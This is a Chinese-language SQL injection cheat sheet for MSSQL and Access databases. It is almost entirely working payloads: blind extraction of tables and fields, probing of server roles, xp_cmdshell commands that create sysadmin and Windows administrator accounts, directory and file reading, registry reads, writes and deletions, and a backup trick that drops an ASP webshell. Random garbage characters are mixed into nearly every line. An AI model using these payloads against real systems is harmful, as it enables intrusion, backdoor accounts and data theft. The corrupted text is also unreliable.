1.判断是否有注入;and 1=1 ;and 1=2 D}Ilyk_uUw
2.初步判断是否是mssql ;and user>0 P,gdnV
^
gM;}#>6
3.注入参数是字符'and [查询条件] and ''=' cd;NpN
PBks`
|+
4.搜索时没过滤参数的'and [查询条件] and '%25'=' %>Xr5<$:&
Mu_i$j$vvP
5.判断数据库系统 !Q-wdzsp?
BX;5wKfA
;and (select count(*) from sysobjects)>0 mssql ,$r2gr!_G
BH0!6Oq
;and (select count(*) from msysobjects)>0 access SP
2 8
.
,NB( s`
ApPy]IdwX
*2u
E
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ?SY<~i<K-
#`GbHxd
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 )&W|QH=AI
Q 882B1H
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 0/]_nd
](r
^.k,R
9.(1)猜字段的ascii值(access) FN"rZWM
2]jPv0u
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ;np_%?is
[ET6(_=b
(2)猜字段的ascii值(mssql) ((3t:
&jts:^N>
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 UFZ"C,
% mn />
10.测试权限结构(mssql) 4sY[az
_[E \=
;?6>mh(`
"!&B4
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- #-x@"+z
\v`#|lT$
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- t/:w1rw
>7-y#SkXdo
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- J6|JWp
N2~$rpU3
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- &zN@5m$k;
< tQc_
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- %<U{K;
IlHY%8F{
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ;e;\q;GP
0M!0JJy#*
;and 1=(select IS_MEMBER('db_owner'));-- >a]t<
5gNLO\
{;RF
7Jx%JgF
11.添加mssql和系统的帐户 |QYZRz
iPU% /_>
;exec master.dbo.sp_addlogin username;-- {'IFWD. 5
;exec master.dbo.sp_password null,username,password;-- RWE~&w G}
#\b ;2>
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- yisLypM*
hPPB45^
;exec master.dbo.xp_cmdshell 'net user username password [_%,6e+
G]lvHD
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 9--dRTG
"]<}Hy
;exec master.dbo.xp_cmdshell 'net user username password /add';-- F"BL#g66
Yq0# #__
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- }N| \
n#>5?W
D Q 5W6W
cj^bh
12.(1)遍历目录 FQ## 397
)OUU]MUH
;create table dirs(paths varchar(100), id int) P!>g7X
i puo}
;insert dirs exec master.dbo.xp_dirtree 'c:\' P CsK()
.D3`'K3t{[
;and (select top 1 paths from dirs)>0 wiBuEaUkW
]-EN/V
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) &E]"c]i+
'RQiLUF
&NP6%}bR`
+U=KXv
(2)遍历目录 h&$Py
"s;ci~$
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 9F)W19i.
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 H` Lu"EK
]gHLcr3
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 h{H]xe[Q
rT<1S?jR
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 'v+96b/;
XJ\_V[WA
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 U5clQiow
X_!$Pk7ma
g6`.qyVfz'
}M="oN~w
13.mssql中的存储过程 b8e*Pv/
v'$ykZ!Z
xp_regenumvalues 注册表根键, 子键 W7T"d4
>!<V\
Fj1
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 cY^Y!.,
b2W; |
xp_regread 根键,子键,键值名 Qv74?B@
4(;20(q]
;exec xp_regread ]svw
CPu C
gi
'^qi2
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 F-i&M1\_
nT)~w
s
xp_regwrite 根键,子键, 值名, 值类型, 值 8db6(Q~P
vevx|<9,
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 |})rt5|f1!
(s.o
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 KM E XT$p
m/cx|b3hqv
xp_regdeletevalue 根键,子键,值名 % ghJ*iHR
}&=uZ:
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 rC~_:uXtE
5,Qy/t}K
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 %jpH:-8'2
YALyZ.d
'\4c "Ho
Xk;Uk[
14.mssql的backup创建webshell /Lj%A
yFIl^Ck%
use model hLCsQYNDU
{P,>Q4N
create table cmd(str image); tvv[$b&
.Ydr[
insert into cmd(str) values (''); g6HphRJ5s
9$n+-GSK
backup database model to disk='c:\l.asp'; 4,o
%e,z
?]759,Q3L
ccIDMJ=2
!^n1
15.mssql内置函数 tuX =o
5+o
2 T]
;and (select @@version)>0 获得Windows的版本号 S5zpUF=
>cC Gx
;and user_name()='dbo' 判断当前系统的连接用户是不是sa >|y>e{P
vQ?MM&6
;and (select user_name())>0 爆当前系统的连接用户 -9hp+0 <
B:B0p+$I
;and (select db_name())>0 得到当前连接的数据库 ~5x4?2
m4wPuW
U&